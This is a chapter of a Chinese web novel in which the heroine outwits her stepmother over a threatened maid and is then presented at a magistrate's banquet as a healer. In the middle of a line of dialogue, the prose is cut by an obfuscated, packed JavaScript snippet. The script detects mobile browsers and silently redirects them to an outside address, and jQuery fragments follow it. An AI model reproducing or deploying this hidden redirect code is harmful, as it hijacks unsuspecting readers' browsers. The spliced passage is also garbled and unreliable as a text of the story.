9. 解决

作品:《被迫成婚后

    “等一下!”白芷连忙阻止。“母亲,你这是做什么?”


    王氏端起茶盏,轻轻吹了吹浮沫,语气轻描淡写,仿佛在谈论天气一般:“你说今日是陪县令夫人去了,可这丫头却说没看见。那定是这丫头在扯谎。这样满口谎话的丫头如何能留,芷儿,你心可别太软了。”


    王氏出手太快,白芷都没时间反应,她强压心中的震惊,声音依然保持着平静:“母亲,咱们私自处刑不太好吧,无论如何也该......”


    “这丫头是签了死契的,自然身家性命都由我们白府决定。”王氏抬手,阻止了白芷的未尽之言。


    白芷低着头,指尖深深掐入掌心,还想要开口说什么。


    王氏瞥了一眼白芷,贴心地问道:“芷儿,莫不是想说这丫头说的都是实话?”


    王氏语气温柔,可却像一把利刃刺向了白芷的心中:不行,自己若说丫鬟没撒谎,那撒谎的就是她了。她又该怎么解释自己今日的去向呢?


    白芷踌躇不定,王氏却再也等不了了:“拖下去吧。”王氏一声令下,两个粗使婆子立刻上前,一左一右架起那丫鬟。


    丫鬟拼命挣扎起来:“夫人饶命!小姐救我!”她的声音凄厉,在厅堂中回荡。


    白芷看着丫鬟被拖向门外,那双布满泪水的眼睛直直地望着她,充满了绝望与哀求。她的指甲在地上抓出几道深深的痕迹。


    “母亲,我今日出去所谓何事,只有父亲在场,我才能说。”白芷正色道。


    王氏没想到白芷扯上了白父,她眯起眼睛,似在掂量这话。


    “你父亲向来不管这后宅之事,你说与我听就好。”王氏微笑道。


    “母亲,父亲在,我才会说。”白芷眼神镇定,开口不容拒绝;“否则,这个丫鬟你今日带不走。”


    厅内一时寂静,只听得窗外一两声乌鸦在嘶吼。


    王氏最终决定让人去叫白父过来。


    白父今日正巧没事,想好好休息,没想到大女儿这边出了事。


    厅堂内,白父端坐在太师椅上,听着王氏说自家女儿今日并未去买首饰,不知去了何处,这么晚才归。


    王氏面露担忧:“芷儿说谎便也罢了,只是没人跟着,始终不安全。若是有那多嘴的,给芷儿泼脏水,说她不知检点可怎么是好啊。”


    白父一听这话,厉声斥责:“孽障,你今日究竟去了何处?”


    白芷跪在他面前,泪水无声地滑落:“父亲,我今日去了之前和母亲住的院子。”


    “你去那做什么?”


    “父亲,”白芷的声音哽咽,“因为我觉得如今这不再是我的家了!”


    白芷抬起泪眼,向白父哭诉道:“父亲,您如今有儿有女,可母亲却是孤孤单单一个人。我昨日做梦,梦到和母亲在一起的日子。父亲,您可还记得母亲的样子?”


    白芷接着说道:“我不想忘记母亲,就想去之前住的地方看看母亲留下的痕迹。至少那样,我可以想着母亲依旧还在我身边的样子。”


    白父闻言,神色渐渐恍惚。他仿佛又看到了那个温婉的女子,她嫁给他之后,没享受过多少好日子。可她从没抱怨过这些。她将家里打理的井井有条,她总是支持自己所做的一切,她很好。


    王氏见白父神色恍惚,心中暗叫不好。她连忙上前,柔声说道:“芷儿,你若是想要见姐姐,跟我们说就好了,我们会为你安排好的。”


    “若是那院子有不相干的人在,母亲怕是会生气。”白芷望了王氏一眼,好让大家知道谁是那个不相干的人。


    王氏勉强笑道:“姐姐脾气那么好,怎么会生气呢?”


    “够了!”白父猛地一拍桌子。


    厅内顿时一片死寂。


    王氏脸色煞白,双手紧紧攥着帕子,指节发白。


    她狠狠地瞪了白芷一眼:就不该答应她的话。却见对方低垂着头,肩膀微微抖动,似乎在抽泣。


    白父深吸一口气,语气稍缓:“起来吧,芷儿。以后你若是想出府就出去吧,只是身边必须得有人跟着,知道吗?”


    白芷起身擦着眼泪,点了点头。


    “今日之事就到此结束吧。”白父下了决断,特意看了王氏一眼,王氏也无话可说,只能随着白父离开了院子。


    厅里又恢复了一片寂静,白芷看着这一切,觉得这一天实在是太累了,便想躺在床上好好休息。


    就在这时,身后传来一声轻声呼唤:“小姐......”


    白芷挥了挥手,示意她也下去。丫鬟什么也说不下去了,只能福身告辞。


    暮色渐深,最后一缕夕阳的余晖也消失在天际。


    白芷躺在床上,听着窗外渐起的虫鸣。烛火摇曳,在帐幔上投下斑驳的影子。她望着头上的帐顶,思绪纷乱。


    闭关的玄天真人,从小贩那得到的纸条,王氏咄咄逼人的态度还有......自己救下的那个陌生人。


    这一切都很让人头大。


    她是家中的长女,王氏虽是继母,但说到底,自己终究是要出嫁的人再过两年,她就到了及笄之年,到时候寻个合适的人家嫁了,离开这是非之地便是。


    王氏只需要准备一份体面的嫁妆,自己也不会和她的亲生儿子争夺家产。即便王氏再看她不顺眼,大可不理不睬便是,何必要处处为难?


    现在府里的一切都在王氏的掌控之下,今日的事便是一个警告。她不会允许自己脱离她的视线。这一次,自己拿过世的母亲当作借口,可怎么也不可能此次都拿来当挡箭牌。


    每个人的心里都有度量,自己也不能成为祥林嫂那样的人。


    还有自己救下的那个人,他与玄天观有关,自己是不是可以从中做些什么呢?


    只可惜他失忆了,不过这也不影响自己可以安排的事。


    窗外的虫鸣声渐渐低了下去,夜色更深了。


    白芷闭上眼睛,强迫自己入睡。


    又平静地过了几日,某天,白芷正在院中修剪花枝,忽然听见外头一阵喧哗。


    “小姐!小姐!”丫鬟气喘吁吁地跑进来,“县令夫人派人来了!”


    白芷放下剪刀,就见一个身着锦缎的嬷嬷领着两个丫鬟走了进来。


    那嬷嬷她认得,是县令夫人身边的李嬷嬷。


    “白小姐,”李嬷嬷福了福身,“夫人让老奴给您送帖子来了。”


    她双手捧上一个描金漆盒,打开来,里面是一张洒金帖子。


    白芷接过一看,只见上面写着:


    谨订于本月十五,设宴于寒舍,恭请白小姐光临。县令夫人诚邀。


    字迹端庄秀丽,用的是上好的朱砂墨,还带着淡淡的檀香。


    县令夫人怎么好端端地给自己下帖子了?


    “夫人特意嘱咐,”李嬷嬷笑着说,“让小姐务必赏光。”


    她压低声音:“夫人请


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113942|164136||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了城中好些有名有望的女眷,要向她们好好介绍您呢。”


    白芷心中一动,面上却不显:“请嬷嬷转告夫人,芷儿一定准时赴约。”


    到了参加宴会的那一日,白字选了一件月白色褙子,配着浅青色罗裙,又将乌黑的长发挽成一个简单的发髻,插上一支白玉簪子,这样显得她像玉兰一般清雅。


    来到县令府邸,朱红色的大门巍峨气派,门口两尊石狮子威风凛凛。早有丫鬟在门口等候,见她来了,立刻引着她穿过回廊。


    白芷见到县令夫人时,她正在和几位妇人一起聊天。


    她上前给夫人福了福身,还没等开口说话。


    县令夫人将她拉到自己身旁坐下,向众人介绍道:“这位就是我新认的义女——白芷,你们不是一直说想要见一见吗?这会我可把人给你们带过来了。”


    几位妇人互相对视了一眼,其中一位年轻夫人先开口恭维道:“夫人真是好眼光啊!看白姑娘眉清目秀,温柔贤淑的样子,难怪县令夫人认你做义女呢,我都想认你做女儿了呢。”


    白芷脸色微微一红,只低头做害羞状。


    “芷儿一看就是让人喜欢的好孩子,”县令嘴角噙着一抹骄傲的笑,“你们别看芷儿这柔弱的样子。前些日子我儿病重,看了许多大夫都不见好,可芷儿只一下就把我儿的病治好了。你们说她厉不厉害?”


    在座的妇人目光都变了变,她们本听说县令夫人收了个义女还不相信,今天县令夫人亲自证实传闻不假,到让她们对这个义女有些感兴趣了。


    “姓白?你娘莫不是姓裴?”白芷抬眸望去,只见一位看上去有些年纪的妇人问道。


    看白芷点了点头,那位妇人感慨道:“原来是裴大夫的子孙,难怪有不同寻常人的本事了。”


    其他人听了都有些茫然,有位妇人想了想,也露出一副恍然大悟的样子。


    她解释道:“许多年之前,城中有位杏林好手,姓裴,裴大夫,什么疑难杂症他都能医治,慈眉善目,他还开了家医馆,叫什么......济世堂吧。”


    “我怎么没听说过这济世堂?”


    “唉,裴大夫没几年就过世了,医馆也关了,你们这些年轻的自然也就无从得知了。只听说他膝下只有一女,在他过世之后便匆匆嫁了个商户,没几年也去世了,没想到......就是你娘。”


    姓白,家中行商,那不就是白父吗?


    以前王氏出来参加宴会时,向来只只提及自己的小女儿,从未听她说过长女,只说长女身体虚弱,不宜出来走动。可如今看来......


    众人恍然大悟,望向白芷的眼光倒有些同情。


    “是啊,这孩子也是可怜,娘亲去世的早,他爹又忙着赚钱,哪有空照看她啊!若不是那日救了我儿,真是不知道以后的日子可怎么活。”


    县令夫人心疼地摸了摸白芷的头,转头又向众人宣传:“芷儿的医术得了那裴大夫的真传,诸位若是有什么头疼脑热的,也可叫芷儿帮你们看看。”


    众人这个时候才知道,县令夫人办这赏花宴目的是为了白芷。


    大家自然不会拂了县令夫人的面子,而且妇人多少都有些不宜让外人知道的小病,平日里请的大夫多是男性也不好开口,如今正好有这个机会,便纷纷找白芷看起病来。


    只是在这时,一个刺耳的声音传来:“看来白姑娘本事不小,不知道能不能看的了我这病?”